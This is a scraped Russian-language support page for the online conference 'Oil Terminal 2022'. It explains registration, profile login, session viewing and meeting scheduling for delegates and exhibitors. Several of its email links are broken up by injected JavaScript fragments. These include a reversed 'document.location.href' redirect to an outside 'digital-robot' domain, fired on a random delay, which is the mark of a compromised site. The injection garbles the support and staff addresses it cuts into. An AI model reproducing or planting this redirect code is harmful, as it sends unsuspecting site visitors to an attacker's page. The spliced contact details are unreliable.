Поддержка - Oil Terminal 2022

КАК РАБОТАТЬ НА НАШЕЙ БИЗНЕС ПЛАТФОРМЕ

Команда Восток Капитал делает все, чтобы опыт участия в онлайн мероприятии был для Вас успешным и эффективным, именно поэтому мы подготовили для Вас краткое руководство к действию, указав самую важную информацию. Для Вашего удобства советуем первоначально ознакомиться с нашей видео-инструкцией

ЕСЛИ ВЫ УЧАСТВУЕТЕ КАК ДЕЛЕГАТ:

Проверьте, что Вы уже зарегистрировались
Отправьте запрос на регистрацию, если не делали этого ранее http://oilterminal.org/zapros-na-registratsiyu/
Убедитесь, что указали всю необходимую информацию. Особенно важно предоставить наименование компании, ФИО, должность, номер мобильного тел., эл. почту, фото
Для того, чтобы зайти в свой профиль, выполните следующие шаги: — перейдите на сайт https://businessplatform.online/
— введите адрес электронной почты или номер мобильного телефона, который указали при регистрации (если вы указали адрес электронной почты – код подтверждения будет доставлен в почту, если номер мобильного телефона, тот код верификации будет прислан в виде СМС).
-введите код подтверждения в окно ввода кода
-Выберите вкладку «Профиль» в левом нижнем углу
Если при использовании профиля Вы обнаружили неточности в данных, высылайте запрос на внесение изменений на эл. почту тех. поддержки с указанием корректной информации dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to:support@businessplatform.online»>support@businessplatform.online

Смотрите и слушайте выступления докладчиков, выполняя следующие шаги:
-заходите в раздел «События» в левом верхнем углу платформы
-проходите по ссылке, размещенной в разделе каждой сессии
Задавайте вопросы докладчикам, используя кнопку Q&A, расположенную в нижнем поле экрана

Также Вы можете задавать вопросы, используя чат под трансляцией
Изучайте и скачивайте информацию, представленную на стендах
Общайтесь и задавайте вопросы в личные сообщения участникам выставки в разделе «Спонсоры», выбрав необходимую компанию и ее представителя, в правом верхнем углу карточки делегата выберите кнопку «Отправить сообщение»
Задавайте вопросы участникам выставки в разделе «Спонсоры» через онлайн визитную карточку стенда
Назначайте встречи с участниками выставки в разделе «Спонсоры»
Назначайте встречи со всеми участниками мероприятия в разделе «Делегаты». Для этого Вам нужно выбрать интересующего участника и нажать «Запланировать встречу»
Общайтесь со всеми участниками мероприятия в онлайн чате прямой трансляции сессии, а также в личных сообщениях, расположенных в правом верхнем углу личной карточки участника.
Следите за предстоящими встречами с участниками конференции в разделе «Встречи»

ЕСЛИ ВЫ УЧАСТВУЕТЕ С ВЫСТАВОЧНЫМ СТЕНДОМ:

Проверьте, что Вы уже зарегистрировались
Отправьте запрос на регистрацию, если не делали этого ранее http://oilterminal.org/zapros-na-registratsiyu/
Убедитесь, что указали всю необходимую информацию. Особенно важно предоставить наименование компании, ФИО, должность, номер мобильного тел., эл. почту, фото
Для того, чтобы зайти в свой профиль, выполните следующие шаги: — перейдите на сайт https://businessplatform.online/
— введите адрес электронной почты или номер мобильного телефона, который указали при регистрации (если вы указали адрес электронной почты – код подтверждения будет доставлен в почту, если номер мобильного телефона, тот код верификации будет прислан в виде СМС).
-введите код подтверждения в окно ввода кода
-Выберите вкладку «Профиль» в левом нижнем углу
Если при использовании профиля Вы обнаружили неточности в данных, высылайте запрос на внесение изменений на эл. почту тех. поддержки с указанием корректной информации dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to:support@businessplatform.online»>support@businessplatform.online
Если желаете внести корректировки в оформление стенда, высылайте запрос на внесение изменений на эл. почту dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to:YSadivskaya@vosdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tockcapital.com»>YSadivskaya@vosdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tockcapital.com с указанием корректной информации
Проверяйте Ваши мессенджеры и электронную почту, указанную в разделе контакты во время мероприятия
Проверяйте всю информацию о Вашей компании в разделе «Спонсоры» на платформе
Приглашайте других участников посетить ваш стенд, назначая встречи в разделе «Делегаты»
Не забывайте проверять уведомления о приглашениях на встречу в правом верхнем углу профиля и в разделе «Встречи»
ВНИМАНИЕ! Следуйте запланированному графику встреч, размещенному в разделе «Встречи»
Будьте уверены, что вы технически подготовлены к онлайн переговорам, проверьте:
-что используете те же устройство и сеть, которые были задействованы при тестовом звонке
-что у вас закрыты другие программы, использующие микрофон и камеру
-вашу скорость подключения (см ОБЩИЕ РЕКОМЕНДАЦИИ)
-что сопровождающий переводчик (при необходимости) имеет доступ к переговорной
-что вы на связи с Вашим менеджером со стороны Восток Капитал
-Что Вы дали разрешение на использование камеры/микрофона. Система запрашивает разрешение автоматически при подключении к онлайн-встрече

ОБЩИЕ РЕКОМЕНДАЦИИ:

Не забывайте, что во время сессий предусмотрен синхронный перевод. Для того, чтобы подключиться к трансляции с переводом, Вам необходимо пройти по кнопке Youtube в поле прямой трансляции, нажать «Выбрать трансляцию» и выбрать «Перевод»

В качестве браузера мы рекомендуем использовать Google Chrome, MozillaFirefox или Edge Chromium
Для эффективной работы на платформе мы рекомендуем использовать устройства с большим дисплеем: ноутбуки, стационарные компьютеры, планшеты.
Если Вы планируете использовать корпоративную сеть, заранее проверьте, что требования информационной безопасности данной сети не запрещают видео-звонки и использование таких сервисов, как Zoom и YouTube. Мы рекомендуем подключаться к платформе с персонального устройства и сети.
Если у вас технические проблемы (прерывается картинка/звук):
Выполните тест скорости подключения на сайте: https://www.speedtest.net/

Проверьте три параметра:

PING (показатель должен быть 5-150 ms)
DOWNLOAD (показатель должен быть от 10 Mbps)
UPLOAD (показатель должен быть от 5 Mbps)

Если параметры скорости интернета не соответствуем указанным выше, то вы можете раздать мобильный интернет и подключиться через компьютер
Вы также можете обратиться в службу поддержки: